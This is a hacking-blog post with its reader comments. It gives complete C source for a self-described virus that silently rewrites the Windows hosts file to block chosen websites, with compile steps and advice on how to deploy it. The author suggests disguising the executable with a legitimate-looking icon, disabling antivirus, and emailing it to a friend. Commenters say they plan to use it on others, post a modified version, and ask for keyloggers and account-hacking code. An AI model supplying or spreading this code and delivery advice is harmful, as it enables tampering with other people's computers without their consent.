Home » C SOURCE CODES, VIRUS CREATION, WINDOWS VISTA HACKS, WINDOWS XP HACKS

A Virus Program to Block Websites

Submitted by Srikanth on Friday, 21 November 200865 Comments

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.

This virus has been exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is not just confined to IE or Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post How to Block a Website ?

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>

char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1″;
FILE *target;

int find_root(void);
void block_site(void);

int find_root()
{
int done;
struct ffblk ffblk;//File block structure

done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}

else return 0;
}

void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/

fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list[i]);
fclose(target);
}

void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

How to Compile ?

For step-by-step compilation guide, refer my post How to compile C Programs.

Testing

1. To test, run the compiled module. It will block the sites that is listed in the source code.

2. Once you run the file block_Site.exe, restart your browser program. Then, type the URL of the blocked site and you’ll see the browser showing error “Page cannot displayed“.

3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1 google.com

5. Delete all such entries which contain the names of blocked sites.

NOTE: You can also change the ICON of the virus to make it look like a legitimate program.This method is described in the post: How to Change the ICON of an EXE file ?

Popularity: 8% [?]

Visitors who read this post, also read:

  1. How to Block Unwanted Emails

  2. How to Test the Working of your Antivirus – EICAR Test

  3. How to Hack Windows Administrator Password

  4. Porn Blocker - How to Block Internet Porn


  By using/following this site you agree to our Legal Disclaimer

Subscribe to GoHacking.Com


Enjoyed this article?
Subscribe to GoHacking.Com and get daily updates in your email for free

65 Comments »

  • Victor said:

    Man when i compile the source code with different site name or even with the same sites the compiler shows error,please help i have to make my friend suffer

  • Srikanth (author) said:

    @ Victor

    You have to compile it in Borland C++ compiler.But you may also compile it with other C/C++ compilers with a few modifications to the source code.

    Please specify the error that you are getting and I’ll solve the problem!

  • Achintya said:

    thanks for information, i will try it soon on my friend only for fun.

  • shrinidhi said:

    hi..cud nyone pls tell me if there is a program in C that can flood the hard drive.i just need the source code with suitable comments i really liked all the program posted here…i’m new to files in C..so i u cud pls temme ow to do it..

  • subhasis said:

    thnx…….

    it works properly.

  • nick said:

    hi shrikanth whats up bro…

    i’m new to your website and i found it very great…

    i just wanted to ask you a question that how to block all kind of adult sites…

    waiting for your response…thanks a lot dude !

  • vishal said:

    hi, shrikant kaise ho…………
    kya baat hai mere question ka answer nahin diya.

  • Srikanth (author) said:

    @ nick

    You have to add the URL of each adult site indivisually to block the sites.

  • Srikanth (author) said:

    @ vishal

    Sorry, I forgot your question…Can u ask once again?

  • nick said:

    oh sorry… i didn’t see ur reply dude…

    actually when i was posting the comments light went off…and i had no idea that it already posted ;)

    anyways thanks a lot… :)

  • siddhant said:

    hi shrikant
    i found your site great n fantastic
    can u plz tell me the source code of hacking orkut password

  • lal said:

    hi srikanth
    This site is very useful for getting updated on network security.
    Thanks brother…

  • Santanu said:

    Hi Srikant!!
    Happy new year to you…

    I’m new to your site…

    In the program to block websites you explained the process of editing the hos file in the root directory…
    but suppose if i modify the file of my own according the same process of removal..i just want to enter the websites names with ip address 127.0.0.1, then would it work..but it’s not working..why?

    explain a little…

    Thnx in advance…
    Bye brother..

  • Srikanth (author) said:

    @ Santanu

    You can enter any number of websites with IP 127.0.0.1
    just like this

    127.0.0.1 abc.com

    127.0.0.1 http://www.abc.com

    etc..

    It works…. Here 127.0.0.1 is the IP address of your own computer.127.0.0.1 is the standard IP of every computer..

  • Prshntrnjn said:

    Please tell how to open blocked site?

  • Srikanth (author) said:

    @ Prshntrnjn

    refer the following post

    http://www.gohacking.com/2008/01/how-to-block-website.html

  • rock said:

    Freind can you please tell me how to hack a email ID and get it’s username and password

  • Srikanth (author) said:
  • ravi said:

    ….wyo….u r jeniys ..
    dear frend plees tell me how can i hack my frend’s yahoo massengar id during chating on yahoo massenger…i am wating 4 ur ans.

  • pranab said:

    Hi Srikant,

    great job brother, i really appriciate your work, jinious.

    Thanks

    Pranab

  • helloman said:

    hey i tried to compile using microsoft c++ express edition i keep getting-
    fatal error C1083: Cannot open include file: ‘dir.h’: No such file or directory
    plz help send to [email protected]

  • helloman said:

    its still not working ive tried evrything can some1 plz just compile one for me with this list?
    “myspace.com”,
    “www.myspace.com”,
    “facebook.com”,
    “www.facebook.com”,
    “habbo.com”,
    “www.habbo.com”,
    “www.rapid4u.info”,
    “rapid4u.info”
    “unfliterme.com”,
    “www.unfilterme.com”,
    “bemyproxy.com”,
    “www.bemyproxy.com”
    “xeem.info”,
    “www.xeem.info”,
    “proxytoyoutube.com”,
    “www.proxytoyoutube.com”,
    “www.proxy62.com”,
    “proxy62.com”,
    “www.hi5unblocker.com”,
    “hi5unblocker.com”,
    “orkutunblocker.com”,
    “www.orkutunblocker.com”,
    “fbuster.com”,
    “www.fbuster.com”,
    “216.178.38.116″,
    “69.63.178.11″,
    “69.63.184.143″,
    “63.135.80.46″,
    “69.90.139.109″,
    “67.159.44.134″,
    “72.55.165.26″,
    “67.159.51.150″,
    “74.54.146.82″,
    “67.159.51.150″,
    “67.159.45.96″,
    “67.159.51.150″
    thank you in advance

  • Srikanth (author) said:

    @ helloman

    Use Borland C++ compiler to compile the above source code.It is available for free.

  • law said:

    can i rename the blocksite.exe?

  • Srikanth (author) said:

    @ law

    Yes you can rename it.No prob!

  • forasking said:

    Srikanth can you say that few changes for another compilers
    For example what can i use instead of FA_DIREC

  • itanium89 said:

    i cant compile too like helloman said Cannot open include file: ‘dir.h’: No such file or directory

  • Srikanth (author) said:

    @ itanium89

    Use borlank C++ compiler.

  • faizan said:

    hi bro which program u given here its nt working…

  • Srikanth (author) said:

    @ faizan

    It works… Disable your antivirus before you try… Also it works only on XP and Vista

  • faizan said:

    bt bro its giving 25 error….wt i will do?

  • Srikanth (author) said:

    @ faizan

    Download the source code and compile it in Broland C++ compiler. Do not copy and paste the program from my site into a notepad to compile. Download the source code to compile. It works…

  • faizan said:

    ok bro thanx….can you tell me sime other hacking tricks……?i want to change my browser name how can it will do>

  • Srikanth (author) said:

    @faizan

    I’ll come up with a new post on this topic.

  • rohit said:

    hello srikanth,
    i m using the trial version of ‘typing master’
    after teaching some keys all are locked
    is their any way to unlock it

  • Dileep Maharaj said:

    hmm… I have tried all this long long back…

  • Narendran said:

    Can we create a media player using C??
    If yes can you give me some idea or sample??

  • Srikanth (author) said:

    @ Narandran

    YOu can create it using VC++.

  • Rahul said:

    can I put it in the scrapbook of sites like orkut to lay a trap for my friend?

  • Rahul said:

    will codes like-

    work to block orkut scrapbook?
    It doesnot. But it was posted in-
    http://hungryhackers.blogspot.com/2007/12/block-your-friends-scrapbook-orkut.html
    can u suggest these type of tools to me?

  • Dan said:

    Thanks Srinkath =) for your posts i really like it and it give me idea of C programs and i sipmplified that program so it will be more easy to use to new one:

    #include
    #include
    #include

    int main(int argc, char *argv[])
    {
    char site_list[4][30] = { // the [4] is for number of site
    // if you wna put more just change the
    // number
    “google.com”,
    “www.google.com”,
    “www.youtube.com”,
    “youtube.com”
    }

    target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);

    // note the disk C:, if the victim
    // have another one cahnge it

    int i;
    fseek(target,0,SEEK_END);

    fprintf(target,”\n”);
    for(i=0; i<6; i++)
    fprintf(target,”%s\t%s\n”,ip,site_list[i]);
    fclose(target);

    return 0;
    }

    so like that you can compile than on other compiler than borland you can try on DevC++ or another one. Also read carefull the
    // notes. Enjoy, but dont be too bad with your victim :P .

  • aditya said:

    hai srikanth,

    can we set a setting to a folder in a mannar that when we double click it, a c program (.exe file) opens and it asks for a input string(password). if it is right it opens the folder.

    awaiting ur response

  • shakka said:

    how do i compile it????

  • Aashee said:

    hello srikanth,
    i m a student of software engg….
    yesterday my instructor has given me an assignment topic i.e., to write code for virus and antivirus in C/C++…… i dont understand wat should i do???
    can you give ur any simple and easy virus and its antivirus code??? only for study purpose… kindly help me….. i hv searched alot but i couldnt understand these viruses code… these are very much difficult…
    kindly help me plz……..
    my email id is
    [email protected]
    thank u sir……..
    w8 4 ur reply
    aashee…………

  • Raj said:

    1.Plzz write a code to block orkut
    2.how to compile in turbo c++ ?

  • Mr Paranormal said:

    hai Srikanth..i had use miscoscoft visual studio c++
    but when i compiled it..there still had 1 error

    the error show to #include

    it say the file was not found etc..

    erm..u use borland c++?

    i did not know how to use it..
    i had installed the borland on my pc..
    but when to use it..it still messy on me
    i had open the not pad read me in folder borland..
    it say like this:

    Installing and running the Command Line Tools
    ———————————————-

    1. Run freecommandlinetools.exe; choose the
    drive and folder into which you want to
    install the free C++Builder 5 command line
    tool development system.

    2. From the bin directory of your installation:
    a. Add “c:\Borland\Bcc55″
    to the existing path
    b. Create a bcc32.cfg file which will set
    the compiler options for the Include
    and Lib paths (-I and -L switches to
    compiler) by adding these lines:
    -I”c:\Borland\Bcc55\include”
    -L”c:\Borland\Bcc55\lib”
    c. Create an ilink32.cfg file which will set
    the linker option for the Lib path by
    adding this line:
    -L”c:\Borland\Bcc55\lib”

    i’m very confuse with this instruction..
    can u teach me how to do that with ur simple explanation
    n simple insruction..

    i knw u very brilliant guy..

    help me plz.. ):

  • Mr Paranormal said:

    include dir.h

  • Srikanth (author) said:

    @ Mr Paranormal

    Installing the Borland C++ 5.5 is easy. just follow the instructions as given below. I assume that you’ve have installed the compiler in the C: drive.

    1. Install the compiler (I think you’ve already done it).
    2. Goto C:\Borland\Bcc55 and create a new text document, open it and add the following lines.

    -I”c:\Borland\Bcc55\include”
    -L”c:\Borland\Bcc55\lib”

    3. Now rename the text doument from New Text Document.txt to bcc32.cfg.

    4. Now create another text document, open it and add the following line.

    -L”c:\Borland\Bcc55\lib”

    5. Now rename the text doument from New Text Document.txt to ilink32.cfg.

    6. You’ve now successfully configured you compiler.

    Compiling instructions:

    1. put the source code abc.c or abc.cpp file into the following path.

    c:\Borland\Bcc55

    2. goto command prompt, navigate to c:\Borland\Bcc55 and use the following command to compile

    bcc32 abc.c

    3. If there are errors it’ll be shown. otherwise the compiled module (abc.exe) will be found in the same folder as that of the source code (abc.c).

  • Mr Paranormal said:

    I did it Srikanth..thank you very much!! (:
    i had edit ur coding to input more block website and it works!

    but for ur
    “Creating a Virus to Restart the Computer at Every Startup” post

    i had 3 error when compile..(using borland c++)

    erm..i just want to edit the pop-up message to my own words

  • Imran said:

    Hello Srikant,

    would u like to tell me how to access any one computer in internet or intranet

    Regards
    Imran

  • Imran said:

    Hello ,

    would you like to tell me how to access any computer over intranet or internet

  • Neer said:

    HELLO SIR.. DOIN A FAB JOB.. PLZ MAY I KNO AFTR COMPILING THE ABOVE SOURCE CODE HOW DO I SEND THIS TO MY FRIEND’S COMPUTER ? REALLY CURIOUS TO KNO . . PLZ REPLY. .

  • Guruvigneshwaran said:

    Hello Srikanth,
    By your C program I understood how to block a website. Thanks for that. You gave a command that will make the system clear from that virus. In my college it think they have blocked those websites(ORKUT,YOUTUBE,…) just by using this virus. When I try to delete the files which were opened by using the command %windir%\system32\drivers\etc
    it shows,

    Cannot Delete : Access Denied
    Make sure is not full or write protected
    and that the file is not currently not in use

    Please tell me how to delete it….

  • Srikanth (author) said:

    @ Guruvigneshwaran

    You cannot delete the “etc” since it’s a system file. You need to open it via notepad, look for entries such as Orkut, Youtube… inside it and delete those entries. Save changes after you’re done.

  • Srikanth (author) said:

    @ Neer

    send it by attaching it to email.

  • sylvester said:

    i want to create a dealy computer virus it is very important in our contry pls contact me on the folloeing no 07095032142 or send me messager

  • sylvester said:

    i want ideal and wisdom to creat or want to do to be creative pls contact me

  • Khurram said:

    hi im new at this web so plz plz plz help me 2 learn how2 hack

  • Khurram said:

    hi Srikanth i m new at ur web plz plz help me i want to know that what is sourcecode and C/C++ compiler. plz plz plz n plz help me i need ur help.

  • Khurram said:

    Hello
    the sourcecode in your this post i should type it in notepad or……. plz plz plz plz help me yaar……..

  • prettylicious said:

    hello.. uhm, can you help me to hack my stepmother’s pc using email (lol) because she’s disturbing my family.. please..

    em’ begging..

  • aditya said:

    can we corrupt a folder or a dvd using a programming language(c language)

  • Srikanth (author) said:

    @ aditya

    We can corrupt files inside a folder but not on a DVD.

  • Zaigham said:

    Hi Sriknath…
    Nice work …. man. Its really amazing. I have a experience of coding afew small databases in C . I am looking to combine different Viruses codes in a program. Generally Viruses restart computer if msconfig or regedit is opened. Further Folder options are also disabled. I tried doing so but I could not find any way. I am also looking for coding a hidden Keylogger in C. Keylogger can be coded easily but sending it through email is causing problems. Can you help me plz……
    Regards.

  • kiran said:

    Hello sir,

    My name is Kiran. To know these programs shell u prefer a book. I like these type of programs very much. Hope i will soon recieve the answer.